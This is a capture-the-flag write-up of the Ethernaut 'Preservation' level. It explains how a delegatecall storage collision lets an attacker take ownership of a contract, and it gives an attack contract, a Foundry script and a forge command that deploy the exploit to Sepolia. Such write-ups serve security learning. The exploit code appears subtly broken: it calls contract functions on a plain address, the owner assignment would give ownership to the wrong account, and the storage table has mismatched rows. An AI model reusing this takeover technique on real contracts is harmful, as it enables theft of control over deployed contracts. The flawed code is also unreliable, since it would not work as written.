The Ethernaut CTF Solutions | 16 - Preservation
Ownership Takeover: Leveraging Delegatecall and Storage Collision in Smart Contracts

Goals
The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(
address _timeZone1LibraryAddress,
address _timeZone2LibraryAddress
) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(
abi.encodePacked(setTimeSignature, _timeStamp)
);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(
abi.encodePacked(setTimeSignature, _timeStamp)
);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
The hack
Here, we have to become the new contract owner. Ensure you completed the level 6 - Delegation before this one, so you understand how delegatecall works.
After a quick first look, we can see that no function allows us to override the owner variable directly. However, we know that a delegatecall executes the code of the called contract (LibraryContract), but with the storage of the calling contract (Preservation). And since their storage doesn't match, we will be able to override some data and take ownership eventually. But, how?
Let's say we call the setFirstTime function with a uint, it will call the setTime function of the LibraryContract with the same uint via the delegatecall. The setTime function will set the storedTime variable to the uint at storage slot 0. But since the delegatecall is using the Preservation contract storage, it will override the timeZone1Library variable instead.
Let's visualize this in a table to make it clearer:
| Storage slot | Preservation | LibraryContract | Malicious Contract |
| 0 | timeZone1Library | storedTime | timeZone1Library |
| 1 | timeZone2Library | timeZone2Library | |
| 2 | owner | owner | |
| 3 | storedTime | storedTime |
Storage collision happening at slot 0. A simple unit test would have easily revealed this!
Since we can override the timeZone1Library variable, we could override it with a malicious contract address containing our own version of the setTime function. So we can call the setFirstTime once with our malicious contract address to override the library address, then once more to delegate the call to our malicious contract and override the owner variable to our address.
Solution
Here is our malicious contract with a custom setTime() function, and... a storage identical to the Preservation contract to avoid any collision.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Disappearance {
address public timeZone1Library;
address public preservation;
address public owner;
constructor(address _preservation) {
preservation = _preservation;
}
function attack() public {
preservation.setFirstTime(uint256(uint160(address(this))));
preservation.setFirstTime(uint256(uint160(msg.sender)));
require(preservation.owner() == msg.sender, "Hack failed!");
}
function setTime(uint _time) public {
owner = msg.sender;
}
}
Next, let's prepare our deployment script:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {Disappearance} from "../src/16_Preservation.sol";
interface IPreservation {
function owner() external view returns (address);
}
contract PoC is Script {
// Replace with your Preservation instance
address private immutable preservation =
0x8588D155A211844d8dA27b09EAf89C657Cd3c496;
function run() external payable {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
console2.log("Current owner: ", IPreservation(preservation).owner());
Disappearance disappearance = new Disappearance(preservation);
disappearance.attack();
console2.log("New owner: ", IPreservation(preservation).owner());
vm.stopBroadcast();
}
}
Then run the script with the following command:
forge script script/16_Preservation.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
🎉 Level completed 🎉
Takeaway
Libraries should be stateless & use the
librarykeyword.Avoid using
delegatecallwith user inputs. Or simply avoid usingdelegatecallat all.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/





